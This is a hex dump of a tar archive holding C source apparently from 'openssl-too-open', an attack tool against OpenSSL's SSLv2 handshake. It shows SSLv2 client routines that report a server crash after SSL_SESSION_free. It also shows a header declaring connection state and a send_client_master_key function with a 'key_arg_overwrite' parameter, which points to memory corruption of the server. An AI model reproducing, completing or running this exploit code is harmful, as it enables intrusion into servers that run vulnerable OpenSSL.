|000051a0| 74 66 28 22 20 2d 3e 20 | 67 65 74 5f 73 65 72 76 |tf(" -> |get_serv|
|000051b0| 65 72 5f 66 69 6e 69 73 | 68 65 64 5c 6e 22 29 3b |er_finis|hed\n");|
|000051c0| 0a 0a 09 69 66 20 28 21 | 28 6c 65 6e 20 3d 20 72 |...if (!|(len = r|
|000051d0| 65 61 64 5f 73 73 6c 5f | 70 61 63 6b 65 74 28 73 |ead_ssl_|packet(s|
|000051e0| 73 6c 2c 20 62 75 66 2c | 20 73 69 7a 65 6f 66 28 |sl, buf,| sizeof(|
|000051f0| 62 75 66 29 29 29 29 20 | 7b 0a 09 09 69 66 20 28 |buf)))) |{...if (|
|00005200| 73 73 6c 2d 3e 65 72 72 | 20 3d 3d 20 53 53 4c 5f |ssl->err| == SSL_|
|00005210| 43 4f 4e 4e 45 43 54 49 | 4f 4e 5f 45 52 52 4f 52 |CONNECTI|ON_ERROR|
|00005220| 29 0a 09 09 09 73 70 72 | 69 6e 74 66 28 73 73 6c |)....spr|intf(ssl|
|00005230| 2d 3e 65 72 72 5f 62 75 | 66 2c 20 22 43 6f 6e 6e |->err_bu|f, "Conn|
|00005240| 65 63 74 69 6f 6e 20 63 | 6c 6f 73 65 64 20 77 68 |ection c|losed wh|
|00005250| 69 6c 65 20 77 61 69 74 | 69 6e 67 20 66 6f 72 20 |ile wait|ing for |
|00005260| 74 68 65 20 53 45 52 56 | 45 52 5f 46 49 4e 49 53 |the SERV|ER_FINIS|
|00005270| 48 45 44 20 6d 65 73 73 | 61 67 65 2e 20 54 68 69 |HED mess|age. Thi|
|00005280| 73 20 77 61 73 20 6e 6f | 74 20 73 75 70 70 6f 73 |s was no|t suppos|
|00005290| 65 64 20 74 6f 20 68 61 | 70 70 65 6e 2e 22 29 3b |ed to ha|ppen.");|
|000052a0| 0a 09 09 65 6c 73 65 20 | 69 66 20 28 73 73 6c 2d |...else |if (ssl-|
|000052b0| 3e 65 72 72 20 3d 3d 20 | 53 53 4c 5f 53 45 52 56 |>err == |SSL_SERV|
|000052c0| 45 52 5f 45 52 52 4f 52 | 29 0a 09 09 09 73 74 72 |ER_ERROR|)....str|
|000052d0| 63 61 74 28 73 73 6c 2d | 3e 65 72 72 5f 62 75 66 |cat(ssl-|>err_buf|
|000052e0| 2c 20 22 20 77 68 69 6c | 65 20 77 61 69 74 69 6e |, " whil|e waitin|
|000052f0| 67 20 66 6f 72 20 74 68 | 65 20 53 45 52 56 45 52 |g for th|e SERVER|
|00005300| 5f 46 49 4e 49 53 48 45 | 44 20 6d 65 73 73 61 67 |_FINISHE|D messag|
|00005310| 65 2e 20 54 68 69 73 20 | 77 61 73 20 6e 6f 74 20 |e. This |was not |
|00005320| 73 75 70 70 6f 73 65 64 | 20 74 6f 20 68 61 70 70 |supposed| to happ|
|00005330| 65 6e 2e 22 29 3b 0a 09 | 09 72 65 74 75 72 6e 20 |en.");..|.return |
|00005340| 53 53 4c 5f 45 52 52 4f | 52 3b 0a 09 7d 0a 0a 09 |SSL_ERRO|R;..}...|
|00005350| 69 66 20 28 62 75 66 5b | 30 5d 20 21 3d 20 53 53 |if (buf[|0] != SS|
|00005360| 4c 32 5f 4d 54 5f 53 45 | 52 56 45 52 5f 46 49 4e |L2_MT_SE|RVER_FIN|
|00005370| 49 53 48 45 44 29 20 7b | 0a 09 09 73 73 6c 2d 3e |ISHED) {|...ssl->|
|00005380| 65 72 72 20 3d 20 53 53 | 4c 5f 50 52 4f 54 4f 43 |err = SS|L_PROTOC|
|00005390| 4f 4c 5f 45 52 52 4f 52 | 3b 0a 09 09 73 70 72 69 |OL_ERROR|;...spri|
|000053a0| 6e 74 66 28 73 73 6c 2d | 3e 65 72 72 5f 62 75 66 |ntf(ssl-|>err_buf|
|000053b0| 2c 20 22 67 65 74 5f 73 | 65 72 76 65 72 5f 66 69 |, "get_s|erver_fi|
|000053c0| 6e 69 73 68 65 64 3a 20 | 45 78 70 65 63 74 65 64 |nished: |Expected|
|000053d0| 20 53 53 4c 32 5f 4d 54 | 5f 53 45 52 56 45 52 5f | SSL2_MT|_SERVER_|
|000053e0| 46 49 4e 49 53 48 45 44 | 2c 20 67 6f 74 20 25 30 |FINISHED|, got %0|
|000053f0| 32 78 22 2c 20 28 69 6e | 74 29 62 75 66 5b 30 5d |2x", (in|t)buf[0]|
|00005400| 29 3b 0a 09 09 72 65 74 | 75 72 6e 20 53 53 4c 5f |);...ret|urn SSL_|
|00005410| 45 52 52 4f 52 3b 0a 09 | 7d 0a 0a 09 69 66 20 28 |ERROR;..|}...if (|
|00005420| 73 65 73 73 69 6f 6e 5f | 62 75 66 20 21 3d 20 4e |session_|buf != N|
|00005430| 55 4c 4c 29 20 7b 0a 09 | 09 69 66 20 28 6c 65 6e |ULL) {..|.if (len|
|00005440| 2d 31 20 3d 3d 20 30 29 | 20 7b 0a 09 09 09 73 73 |-1 == 0)| {....ss|
|00005450| 6c 2d 3e 65 72 72 20 3d | 20 53 53 4c 5f 50 52 4f |l->err =| SSL_PRO|
|00005460| 54 4f 43 4f 4c 5f 45 52 | 52 4f 52 3b 0a 09 09 09 |TOCOL_ER|ROR;....|
|00005470| 73 70 72 69 6e 74 66 28 | 73 73 6c 2d 3e 65 72 72 |sprintf(|ssl->err|
|00005480| 5f 62 75 66 2c 20 22 67 | 65 74 5f 73 65 72 76 65 |_buf, "g|et_serve|
|00005490| 72 5f 66 69 6e 69 73 68 | 65 64 3a 20 53 65 73 73 |r_finish|ed: Sess|
|000054a0| 69 6f 6e 20 64 61 74 61 | 20 74 6f 6f 20 73 68 6f |ion data| too sho|
|000054b0| 72 74 20 28 25 64 20 62 | 79 74 65 73 29 22 2c 20 |rt (%d b|ytes)", |
|000054c0| 6c 65 6e 2d 31 29 3b 0a | 09 09 09 72 65 74 75 72 |len-1);.|...retur|
|000054d0| 6e 20 53 53 4c 5f 45 52 | 52 4f 52 3b 0a 09 09 7d |n SSL_ER|ROR;...}|
|000054e0| 0a 09 09 69 66 20 28 6c | 65 6e 2d 31 20 3e 20 73 |...if (l|en-1 > s|
|000054f0| 65 73 73 69 6f 6e 5f 73 | 69 7a 65 29 20 7b 0a 09 |ession_s|ize) {..|
|00005500| 09 09 73 73 6c 2d 3e 65 | 72 72 20 3d 20 53 53 4c |..ssl->e|rr = SSL|
|00005510| 5f 50 52 4f 54 4f 43 4f | 4c 5f 45 52 52 4f 52 3b |_PROTOCO|L_ERROR;|
|00005520| 0a 09 09 09 73 70 72 69 | 6e 74 66 28 73 73 6c 2d |....spri|ntf(ssl-|
|00005530| 3e 65 72 72 5f 62 75 66 | 2c 20 22 67 65 74 5f 73 |>err_buf|, "get_s|
|00005540| 65 72 76 65 72 5f 66 69 | 6e 69 73 68 65 64 3a 20 |erver_fi|nished: |
|00005550| 53 65 73 73 69 6f 6e 20 | 64 61 74 61 20 74 6f 6f |Session |data too|
|00005560| 20 6c 6f 6e 67 20 28 25 | 64 20 62 79 74 65 73 29 | long (%|d bytes)|
|00005570| 22 2c 20 6c 65 6e 2d 31 | 29 3b 0a 09 09 09 72 65 |", len-1|);....re|
|00005580| 74 75 72 6e 20 53 53 4c | 5f 45 52 52 4f 52 3b 0a |turn SSL|_ERROR;.|
|00005590| 09 09 7d 0a 0a 09 09 6d | 65 6d 63 70 79 28 73 65 |..}....m|emcpy(se|
|000055a0| 73 73 69 6f 6e 5f 62 75 | 66 2c 20 26 62 75 66 5b |ssion_bu|f, &buf[|
|000055b0| 31 5d 2c 20 6c 65 6e 2d | 31 29 3b 0a 09 7d 0a 0a |1], len-|1);..}..|
|000055c0| 09 72 65 74 75 72 6e 20 | 6c 65 6e 2d 31 3b 0a 7d |.return |len-1;.}|
|000055d0| 0a 0a 69 6e 74 20 67 65 | 74 5f 73 65 72 76 65 72 |..int ge|t_server|
|000055e0| 5f 65 72 72 6f 72 28 73 | 74 72 75 63 74 20 73 73 |_error(s|truct ss|
|000055f0| 6c 5f 63 6f 6e 6e 2a 20 | 73 73 6c 29 0a 7b 0a 09 |l_conn* |ssl).{..|
|00005600| 75 6e 73 69 67 6e 65 64 | 20 63 68 61 72 20 62 75 |unsigned| char bu|
|00005610| 66 5b 42 55 46 53 49 5a | 45 5d 3b 0a 09 69 6e 74 |f[BUFSIZ|E];..int|
|00005620| 20 6c 65 6e 3b 0a 0a 09 | 69 66 20 28 73 73 6c 2d | len;...|if (ssl-|
|00005630| 3e 65 72 72 29 20 72 65 | 74 75 72 6e 20 53 53 4c |>err) re|turn SSL|
|00005640| 5f 45 52 52 4f 52 3b 0a | 09 0a 09 69 66 20 28 73 |_ERROR;.|...if (s|
|00005650| 73 6c 2d 3e 76 65 72 62 | 6f 73 65 29 20 70 72 69 |sl->verb|ose) pri|
|00005660| 6e 74 66 28 22 20 2d 3e | 20 67 65 74 5f 73 65 72 |ntf(" ->| get_ser|
|00005670| 76 65 72 5f 65 72 72 6f | 72 5c 6e 22 29 3b 0a 0a |ver_erro|r\n");..|
|00005680| 09 6c 65 6e 20 3d 20 72 | 65 61 64 5f 73 73 6c 5f |.len = r|ead_ssl_|
|00005690| 70 61 63 6b 65 74 28 73 | 73 6c 2c 20 62 75 66 2c |packet(s|sl, buf,|
|000056a0| 20 73 69 7a 65 6f 66 28 | 62 75 66 29 29 3b 0a 0a | sizeof(|buf));..|
|000056b0| 09 69 66 20 28 21 6c 65 | 6e 20 26 26 20 73 73 6c |.if (!le|n && ssl|
|000056c0| 2d 3e 65 72 72 20 3d 3d | 20 53 53 4c 5f 53 45 52 |->err ==| SSL_SER|
|000056d0| 56 45 52 5f 45 52 52 4f | 52 29 0a 09 09 73 73 6c |VER_ERRO|R)...ssl|
|000056e0| 2d 3e 65 72 72 20 3d 20 | 30 3b 0a 09 09 72 65 74 |->err = |0;...ret|
|000056f0| 75 72 6e 20 53 53 4c 5f | 4f 4b 3b 0a 09 0a 09 69 |urn SSL_|OK;....i|
|00005700| 66 20 28 21 6c 65 6e 20 | 26 26 20 73 73 6c 2d 3e |f (!len |&& ssl->|
|00005710| 65 72 72 20 3d 3d 20 53 | 53 4c 5f 43 4f 4e 4e 45 |err == S|SL_CONNE|
|00005720| 43 54 49 4f 4e 5f 45 52 | 52 4f 52 29 20 7b 0a 09 |CTION_ER|ROR) {..|
|00005730| 09 73 70 72 69 6e 74 66 | 28 73 73 6c 2d 3e 65 72 |.sprintf|(ssl->er|
|00005740| 72 5f 62 75 66 2c 20 22 | 43 6f 6e 6e 65 63 74 69 |r_buf, "|Connecti|
|00005750| 6f 6e 20 63 6c 6f 73 65 | 64 20 61 66 74 65 72 20 |on close|d after |
|00005760| 53 53 4c 5f 53 45 53 53 | 49 4f 4e 5f 66 72 65 65 |SSL_SESS|ION_free|
|00005770| 20 77 61 73 20 65 78 65 | 63 75 74 65 64 2e 20 53 | was exe|cuted. S|
|00005780| 65 72 76 65 72 20 63 72 | 61 73 68 65 64 2e 22 29 |erver cr|ashed.")|
|00005790| 3b 0a 09 09 72 65 74 75 | 72 6e 20 53 53 4c 5f 45 |;...retu|rn SSL_E|
|000057a0| 52 52 4f 52 3b 0a 09 7d | 0a 0a 09 69 66 20 28 21 |RROR;..}|...if (!|
|000057b0| 6c 65 6e 29 20 7b 0a 09 | 09 72 65 74 75 72 6e 20 |len) {..|.return |
|000057c0| 53 53 4c 5f 45 52 52 4f | 52 3b 0a 09 7d 0a 09 65 |SSL_ERRO|R;..}..e|
|000057d0| 6c 73 65 20 7b 0a 09 09 | 73 73 6c 2d 3e 65 72 72 |lse {...|ssl->err|
|000057e0| 20 3d 20 53 53 4c 5f 50 | 52 4f 54 4f 43 4f 4c 5f | = SSL_P|ROTOCOL_|
|000057f0| 45 52 52 4f 52 3b 0a 09 | 09 73 70 72 69 6e 74 66 |ERROR;..|.sprintf|
|00005800| 28 73 73 6c 2d 3e 65 72 | 72 5f 62 75 66 2c 20 22 |(ssl->er|r_buf, "|
|00005810| 53 65 72 76 65 72 20 72 | 65 73 70 6f 6e 64 65 64 |Server r|esponded|
|00005820| 20 77 69 74 68 20 61 20 | 30 78 25 30 32 78 20 6d | with a |0x%02x m|
|00005830| 65 73 73 61 67 65 2c 20 | 53 53 4c 32 5f 4d 54 5f |essage, |SSL2_MT_|
|00005840| 45 52 52 4f 52 20 65 78 | 70 65 63 74 65 64 22 2c |ERROR ex|pected",|
|00005850| 20 28 69 6e 74 29 62 75 | 66 5b 30 5d 29 3b 0a 09 | (int)bu|f[0]);..|
|00005860| 09 72 65 74 75 72 6e 20 | 53 53 4c 5f 45 52 52 4f |.return |SSL_ERRO|
|00005870| 52 3b 0a 09 7d 0a 7d 0a | 0a 2f 2a 20 45 4f 46 20 |R;..}.}.|./* EOF |
|00005880| 2a 2f 0a 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |*/......|........|
|00005890| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000058a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000058b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000058c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000058d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000058e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000058f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005900| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005910| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005920| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005930| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005940| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005950| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005960| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005970| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005980| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005990| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000059a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000059b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000059c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000059d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000059e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000059f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005a00| 6f 70 65 6e 73 73 6c 2d | 74 6f 6f 2d 6f 70 65 6e |openssl-|too-open|
|00005a10| 2f 73 73 6c 32 2e 68 00 | 00 00 00 00 00 00 00 00 |/ssl2.h.|........|
|00005a20| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005a30| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005a40| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005a50| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005a60| 00 00 00 00 30 31 30 30 | 36 34 34 00 30 30 30 31 |....0100|644.0001|
|00005a70| 37 35 30 00 30 30 30 31 | 37 35 31 00 30 30 30 30 |750.0001|751.0000|
|00005a80| 30 30 30 33 36 32 37 00 | 30 37 35 34 30 32 33 32 |0003627.|07540232|
|00005a90| 30 34 32 00 30 31 35 32 | 35 33 00 20 30 00 00 00 |042.0152|53. 0...|
|00005aa0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005ab0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005ac0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005ad0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005ae0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005af0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005b00| 00 75 73 74 61 72 20 20 | 00 73 6c 75 6e 63 68 6f |.ustar  |.sluncho|
|00005b10| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005b20| 00 00 00 00 00 00 00 00 | 00 73 6c 75 6e 63 68 6f |........|.sluncho|
|00005b30| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005b40| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005b50| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005b60| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005b70| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005b80| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005b90| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005ba0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005bb0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005bc0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005bd0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005be0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005bf0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00005c00| 23 69 6e 63 6c 75 64 65 | 20 3c 6f 70 65 6e 73 73 |#include| <openss|
|00005c10| 6c 2f 73 73 6c 2e 68 3e | 0a 23 69 6e 63 6c 75 64 |l/ssl.h>|.#includ|
|00005c20| 65 20 3c 6f 70 65 6e 73 | 73 6c 2f 78 35 30 39 2e |e <opens|sl/x509.|
|00005c30| 68 3e 0a 0a 2f 2a 20 72 | 65 61 64 2f 77 72 69 74 |h>../* r|ead/writ|
|00005c40| 65 20 62 75 66 66 65 72 | 20 2a 2f 0a 23 64 65 66 |e buffer| */.#def|
|00005c50| 69 6e 65 20 42 55 46 53 | 49 5a 45 20 31 36 33 38 |ine BUFS|IZE 1638|
|00005c60| 34 0a 0a 2f 2a 20 68 61 | 72 64 63 6f 64 65 64 20 |4../* ha|rdcoded |
|00005c70| 70 72 6f 74 6f 63 6f 6c | 20 73 74 75 66 66 20 2a |protocol| stuff *|
|00005c80| 2f 0a 23 64 65 66 69 6e | 65 20 43 48 41 4c 4c 45 |/.#defin|e CHALLE|
|00005c90| 4e 47 45 5f 4c 45 4e 47 | 54 48 20 31 36 0a 23 64 |NGE_LENG|TH 16.#d|
|00005ca0| 65 66 69 6e 65 20 52 43 | 34 5f 4b 45 59 5f 4c 45 |efine RC|4_KEY_LE|
|00005cb0| 4e 47 54 48 20 31 36 09 | 2f 2a 20 31 32 38 20 62 |NGTH 16.|/* 128 b|
|00005cc0| 69 74 73 20 2a 2f 0a 23 | 64 65 66 69 6e 65 20 52 |its */.#|define R|
|00005cd0| 43 34 5f 4b 45 59 5f 4d | 41 54 45 52 49 41 4c 5f |C4_KEY_M|ATERIAL_|
|00005ce0| 4c 45 4e 47 54 48 20 28 | 52 43 34 5f 4b 45 59 5f |LENGTH (|RC4_KEY_|
|00005cf0| 4c 45 4e 47 54 48 2a 32 | 29 0a 0a 23 64 65 66 69 |LENGTH*2|)..#defi|
|00005d00| 6e 65 20 53 53 4c 5f 45 | 52 52 4f 52 09 30 0a 23 |ne SSL_E|RROR.0.#|
|00005d10| 64 65 66 69 6e 65 20 53 | 53 4c 5f 4f 4b 09 09 31 |define S|SL_OK..1|
|00005d20| 0a 0a 23 64 65 66 69 6e | 65 20 53 53 4c 5f 43 4f |..#defin|e SSL_CO|
|00005d30| 4e 4e 45 43 54 49 4f 4e | 5f 45 52 52 4f 52 09 31 |NNECTION|_ERROR.1|
|00005d40| 0a 23 64 65 66 69 6e 65 | 20 53 53 4c 5f 50 52 4f |.#define| SSL_PRO|
|00005d50| 54 4f 43 4f 4c 5f 45 52 | 52 4f 52 09 09 32 0a 23 |TOCOL_ER|ROR..2.#|
|00005d60| 64 65 66 69 6e 65 20 53 | 53 4c 5f 53 45 52 56 45 |define S|SL_SERVE|
|00005d70| 52 5f 45 52 52 4f 52 09 | 09 33 0a 0a 2f 2a 20 77 |R_ERROR.|.3../* w|
|00005d80| 65 20 6b 65 65 70 20 61 | 6c 6c 20 53 53 4c 32 20 |e keep a|ll SSL2 |
|00005d90| 73 74 61 74 65 20 69 6e | 20 74 68 69 73 20 73 74 |state in| this st|
|00005da0| 72 75 63 74 75 72 65 20 | 2a 2f 0a 73 74 72 75 63 |ructure |*/.struc|
|00005db0| 74 20 73 73 6c 5f 63 6f | 6e 6e 20 7b 0a 09 69 6e |t ssl_co|nn {..in|
|00005dc0| 74 20 73 6f 63 6b 3b 0a | 0a 09 2f 2a 20 63 6c 69 |t sock;.|../* cli|
|00005dd0| 65 6e 74 20 73 74 75 66 | 66 20 2a 2f 0a 09 75 6e |ent stuf|f */..un|
|00005de0| 73 69 67 6e 65 64 20 63 | 68 61 72 20 63 68 61 6c |signed c|har chal|
|00005df0| 6c 65 6e 67 65 5b 43 48 | 41 4c 4c 45 4e 47 45 5f |lenge[CH|ALLENGE_|
|00005e00| 4c 45 4e 47 54 48 5d 3b | 0a 09 75 6e 73 69 67 6e |LENGTH];|..unsign|
|00005e10| 65 64 20 63 68 61 72 20 | 6d 61 73 74 65 72 5f 6b |ed char |master_k|
|00005e20| 65 79 5b 52 43 34 5f 4b | 45 59 5f 4c 45 4e 47 54 |ey[RC4_K|EY_LENGT|
|00005e30| 48 5d 3b 0a 09 75 6e 73 | 69 67 6e 65 64 20 63 68 |H];..uns|igned ch|
|00005e40| 61 72 20 6b 65 79 5f 6d | 61 74 65 72 69 61 6c 5b |ar key_m|aterial[|
|00005e50| 52 43 34 5f 4b 45 59 5f | 4d 41 54 45 52 49 41 4c |RC4_KEY_|MATERIAL|
|00005e60| 5f 4c 45 4e 47 54 48 5d | 3b 0a 0a 09 2f 2a 20 63 |_LENGTH]|;.../* c|
|00005e70| 6f 6e 6e 65 63 74 69 6f | 6e 20 69 64 20 2d 20 72 |onnectio|n id - r|
|00005e80| 65 74 75 72 6e 65 64 20 | 62 79 20 74 68 65 20 73 |eturned |by the s|
|00005e90| 65 72 76 65 72 20 2a 2f | 0a 09 69 6e 74 20 63 6f |erver */|..int co|
|00005ea0| 6e 6e 5f 69 64 5f 6c 65 | 6e 67 74 68 3b 0a 09 75 |nn_id_le|ngth;..u|
|00005eb0| 6e 73 69 67 6e 65 64 20 | 63 68 61 72 20 63 6f 6e |nsigned |char con|
|00005ec0| 6e 5f 69 64 5b 53 53 4c | 32 5f 4d 41 58 5f 43 4f |n_id[SSL|2_MAX_CO|
|00005ed0| 4e 4e 45 43 54 49 4f 4e | 5f 49 44 5f 4c 45 4e 47 |NNECTION|_ID_LENG|
|00005ee0| 54 48 5d 3b 0a 0a 09 2f | 2a 20 73 65 72 76 65 72 |TH];.../|* server|
|00005ef0| 20 63 65 72 74 69 66 69 | 63 61 74 65 20 2a 2f 0a | certifi|cate */.|
|00005f00| 09 58 35 30 39 20 2a 78 | 35 30 39 3b 0a 0a 09 2f |.X509 *x|509;.../|
|00005f10| 2a 20 73 65 73 73 69 6f | 6e 20 6b 65 79 73 20 2a |* sessio|n keys *|
|00005f20| 2f 0a 09 75 6e 73 69 67 | 6e 65 64 20 63 68 61 72 |/..unsig|ned char|
|00005f30| 2a 20 72 65 61 64 5f 6b | 65 79 3b 0a 09 75 6e 73 |* read_k|ey;..uns|
|00005f40| 69 67 6e 65 64 20 63 68 | 61 72 2a 20 77 72 69 74 |igned ch|ar* writ|
|00005f50| 65 5f 6b 65 79 3b 0a 09 | 52 43 34 5f 4b 45 59 2a |e_key;..|RC4_KEY*|
|00005f60| 20 72 63 34 5f 72 65 61 | 64 5f 6b 65 79 3b 0a 09 | rc4_rea|d_key;..|
|00005f70| 52 43 34 5f 4b 45 59 2a | 20 72 63 34 5f 77 72 69 |RC4_KEY*| rc4_wri|
|00005f80| 74 65 5f 6b 65 79 3b 0a | 0a 09 2f 2a 20 73 65 71 |te_key;.|../* seq|
|00005f90| 75 65 6e 63 65 20 6e 75 | 6d 62 65 72 73 2c 20 75 |uence nu|mbers, u|
|00005fa0| 73 65 64 20 66 6f 72 20 | 4d 41 43 20 63 61 6c 63 |sed for |MAC calc|
|00005fb0| 75 6c 61 74 69 6f 6e 20 | 2a 2f 0a 09 69 6e 74 20 |ulation |*/..int |
|00005fc0| 72 65 61 64 5f 73 65 71 | 3b 0a 09 69 6e 74 20 77 |read_seq|;..int w|
|00005fd0| 72 69 74 65 5f 73 65 71 | 3b 0a 0a 09 2f 2a 20 73 |rite_seq|;.../* s|
|00005fe0| 65 74 20 74 6f 20 31 20 | 77 68 65 6e 20 74 68 65 |et to 1 |when the|
|00005ff0| 20 53 53 4c 32 20 68 61 | 6e 64 73 68 61 6b 65 20 | SSL2 ha|ndshake |
|00006000| 69 73 20 63 6f 6d 70 6c | 65 74 65 20 2a 2f 0a 09 |is compl|ete */..|
|00006010| 69 6e 74 20 65 6e 63 72 | 79 70 74 65 64 3b 0a 0a |int encr|ypted;..|
|00006020| 09 69 6e 74 20 76 65 72 | 62 6f 73 65 3b 0a 0a 09 |.int ver|bose;...|
|00006030| 2f 2a 20 62 75 66 66 65 | 72 20 66 6f 72 20 65 72 |/* buffe|r for er|
|00006040| 72 6f 72 20 6d 65 73 73 | 61 67 65 73 20 2a 2f 0a |ror mess|ages */.|
|00006050| 09 69 6e 74 20 65 72 72 | 3b 0a 09 63 68 61 72 20 |.int err|;..char |
|00006060| 65 72 72 5f 62 75 66 5b | 31 30 32 34 5d 3b 0a 0a |err_buf[|1024];..|
|00006070| 09 2f 2a 20 74 68 65 20 | 76 61 6c 75 65 73 20 6f |./* the |values o|
|00006080| 66 20 74 68 65 20 63 69 | 70 68 65 72 20 61 6e 64 |f the ci|pher and|
|00006090| 20 63 69 70 68 65 72 73 | 20 76 61 72 69 61 62 6c | ciphers| variabl|
|000060a0| 65 73 20 69 6e 20 74 68 | 65 20 53 53 4c 5f 53 45 |es in th|e SSL_SE|
|000060b0| 53 53 49 4f 4e 20 73 74 | 72 75 63 74 20 2a 2f 0a |SSION st|ruct */.|
|000060c0| 09 75 69 6e 74 33 32 5f | 74 20 63 69 70 68 65 72 |.uint32_|t cipher|
|000060d0| 3b 0a 09 75 69 6e 74 33 | 32 5f 74 20 63 69 70 68 |;..uint3|2_t ciph|
|000060e0| 65 72 73 3b 0a 7d 3b 0a | 0a 2f 2a 20 53 53 4c 20 |ers;.};.|./* SSL |
|000060f0| 66 75 6e 63 74 69 6f 6e | 73 20 2a 2f 0a 0a 69 6e |function|s */..in|
|00006100| 74 20 67 65 74 5f 6c 6f | 63 61 6c 5f 70 6f 72 74 |t get_lo|cal_port|
|00006110| 28 69 6e 74 20 73 6f 63 | 6b 29 3b 0a 69 6e 74 20 |(int soc|k);.int |
|00006120| 63 6f 6e 6e 65 63 74 5f | 68 6f 73 74 28 69 6e 5f |connect_|host(in_|
|00006130| 61 64 64 72 5f 74 20 68 | 6f 73 74 2c 20 69 6e 74 |addr_t h|ost, int|
|00006140| 20 70 6f 72 74 29 3b 0a | 73 74 72 75 63 74 20 73 | port);.|struct s|
|00006150| 73 6c 5f 63 6f 6e 6e 2a | 20 73 73 6c 5f 63 6f 6e |sl_conn*| ssl_con|
|00006160| 6e 65 63 74 5f 68 6f 73 | 74 28 69 6e 5f 61 64 64 |nect_hos|t(in_add|
|00006170| 72 5f 74 20 68 6f 73 74 | 2c 20 69 6e 74 20 70 6f |r_t host|, int po|
|00006180| 72 74 2c 20 69 6e 74 20 | 76 65 72 62 6f 73 65 29 |rt, int |verbose)|
|00006190| 3b 0a 0a 69 6e 74 20 73 | 65 6e 64 5f 63 6c 69 65 |;..int s|end_clie|
|000061a0| 6e 74 5f 68 65 6c 6c 6f | 28 73 74 72 75 63 74 20 |nt_hello|(struct |
|000061b0| 73 73 6c 5f 63 6f 6e 6e | 20 2a 73 73 6c 29 3b 0a |ssl_conn| *ssl);.|
|000061c0| 69 6e 74 20 67 65 74 5f | 73 65 72 76 65 72 5f 68 |int get_|server_h|
|000061d0| 65 6c 6c 6f 28 73 74 72 | 75 63 74 20 73 73 6c 5f |ello(str|uct ssl_|
|000061e0| 63 6f 6e 6e 2a 20 73 73 | 6c 29 3b 0a 69 6e 74 20 |conn* ss|l);.int |
|000061f0| 73 65 6e 64 5f 63 6c 69 | 65 6e 74 5f 6d 61 73 74 |send_cli|ent_mast|
|00006200| 65 72 5f 6b 65 79 28 73 | 74 72 75 63 74 20 73 73 |er_key(s|truct ss|
|00006210| 6c 5f 63 6f 6e 6e 2a 20 | 73 73 6c 2c 20 75 6e 73 |l_conn* |ssl, uns|
|00006220| 69 67 6e 65 64 20 63 68 | 61 72 2a 20 6b 65 79 5f |igned ch|ar* key_|
|00006230| 61 72 67 5f 6f 76 65 72 | 77 72 69 74 65 2c 20 69 |arg_over|write, i|
